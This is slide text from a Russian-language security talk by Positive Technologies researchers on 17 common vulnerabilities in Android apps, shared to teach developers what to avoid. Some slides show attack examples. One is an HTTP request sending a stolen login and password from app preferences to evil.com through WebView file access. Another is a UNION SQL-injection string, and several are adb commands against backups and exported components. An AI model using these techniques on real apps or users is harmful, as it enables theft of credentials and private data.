Заголовок ptsecurity.com Уязвимое Android- приложение: N проверенных способов наступить на грабли Специалисты отдела исследований безопасности мобильных приложений Positive Technologies Анисеня Николай, Тошин Сергей
N = 17;
Заголовок ptsecurity.com Уязвимое Android- приложение: 17 проверенных способов наступить на грабли Специалисты отдела исследований безопасности мобильных приложений Positive Technologies Анисеня Николай, Тошин Сергей
Заголовок АНИСЕНЯ НИКОЛАЙ • специалист отдела исследований безопасности мобильных приложений Positive Technologies; • аспирант Томского Государственного Университета; • участник CTF-комады SiBears. whoami ТОШИН СЕРГЕЙ • специалист отдела исследований безопасности мобильных приложений Positive Technologies; • разработчик анализатора исходных кодов Android-приложений; • участник программ bugbounty.
ЗаголовокМодели нарушителя Удаленный нарушитель • На сервере • На другом клиенте • В канале связи Локальный нарушитель • Трояны • Приложения с закладками Нарушитель с физическим доступом к устройству • Кража или утеря • Кратковременный доступ
ЗаголовокВерсии Android на устройствах пользователей Ice Cream Sandwich 15 2% Jelly Bean 16 8% Jelly Bean 17 11% Jelly Bean 18 3% KitKat 19 34% Lollipop 21 17% Lollipop 22 20% Marshmallow 23 5% % от общего числа устройств на Android
ЗаголовокПроверенные способы
ЗаголовокСпособ 1: хранение логинов и паролей в открытом виде /data/data/<app_name>/shared_prefs/AppName.xml
ЗаголовокСпособ 2: ключи шифрования в коде
ЗаголовокСпособ 2: ключи шифрования в коде
ЗаголовокСпособ 3: ключ из короткого пин-кода
ЗаголовокСпособ 3: ключ из короткого пин-кода
ЗаголовокСпособ 3: ключ из короткого пин-кода
ЗаголовокСпособ 4: http-запросы открытым текстом
ЗаголовокСпособ 5: отключенная проверка сертификатов
ЗаголовокСпособ 6: некорректный Certificate Pinning или его отсутствие Pinning in HttpClient No pinning in WebView
ЗаголовокСпособ 6: некорректный Certificate Pinning или его отсутствие
ЗаголовокСпособ 7: отравление кэша WebView
ЗаголовокСпособ 8: доступ к файловой системе через WebView
ЗаголовокСпособ 8: доступ к файловой системе через WebView $ adb shell am start -d "file:///sdcard/payload.html" nanisenya. app_android/.MainActivity
ЗаголовокСпособ 8: доступ к файловой системе через WebView /sdcard/payload.html
ЗаголовокСпособ 8: доступ к файловой системе через WebView GET /%3C?xml%20version='1.0'%20encoding='utf- 8'%20standalone='yes'%20?%3E%0A%3Cmap%3E%0A%3C string%20name=%22LOGIN%22%3Ealice%3C/string%3E %0A%3Cstring%20name=%22PASSWORD%22%3Eqwerty123 %3C/string%3E%0A%3C/map%3E%0A HTTP/1.1 Host: evil.com Origin: file:// X-Requested-With: nanisenya.app_android ... Connection: close
ЗаголовокСпособ 9: Client-side SQL-injection String query = "SELECT * FROM messages WHERE msg LIKE '%" + q + "%'"; Cursor c = MainActivity.this.db.rawQuery(query); sqlite> .tables android_metadata messages private_messages
ЗаголовокСпособ 9: Client-side SQL-injection SELECT * FROM messages WHERE msg LIKE ' UNION SELECT * from private_messages -- %'"; q = "' UNION SELECT * from private_messages -- "
ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable AndroidManifest.xml
ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable $ adb backup -all android:allowBackup=“true”
ЗаголовокСпособ 10: забываем убрать allowBackup и debuggable android:debuggable=“true”
ЗаголовокСпособ 11: экспортированные компоненты adb shell am broadcast –d com.example.myapplication/.MyReceiver
ЗаголовокСпособ 11: экспортированные компоненты android:exported=“false”
ЗаголовокСпособ 12: отправка широковещательных сообщений
ЗаголовокСпособ 12: отправка широковещательных сообщений Register receiver Send broadcast intent
ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
ЗаголовокСпособ 13: не проверяем action в коде Broadcast Receiver
ЗаголовокСпособ 14: отсутствие фильтрации во входящем intent
ЗаголовокСпособ 15: вложенные intent Dispatcher Activity exported= “true” Settings Activity exported= “false” Payment Activity exported= “false” Internal Activity exported= “false” Входящий Intent Перенаправленный Intent
ЗаголовокСпособ 15: вложенные intent
ЗаголовокСпособ 16: произвольные объекты в intent public void onCreate(Bundle arg3) { super.onCreate(arg3); this.setContentView(this.o_()); this.b(true); this.setTitle(null); this.o(); this.p(); this.b = this.getIntent() .getParcelableExtra("PAGE_INFO"); if(arg3 == null && this.b != null) { this.a(this.b); } }
ЗаголовокСпособ 16: произвольные объекты в intent public static final class PageInfo implements Parcelable { public String startPageUrl; public byte[] startPagePostData; public String cookies; public String successUri; public String failUri; … }
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection
ЗаголовокСпособ 17: Fragment Injection Уязвимость сохраняется, если - Android < KitKat - TargetSDK < KitKat (import android.support.v4.app.Fragment;) - Используются сторонние библиотеки (например, для корректной работы интерфейса на разных версиях Android), переопределяющие поведение фрагментов Защита - TargetSDK >= KitKat - Использовать isValidFragment
Заголовок ptsecurity.com Спасибо! Спасибо!

Уязвимое Android-приложение: N проверенных способов наступить на грабли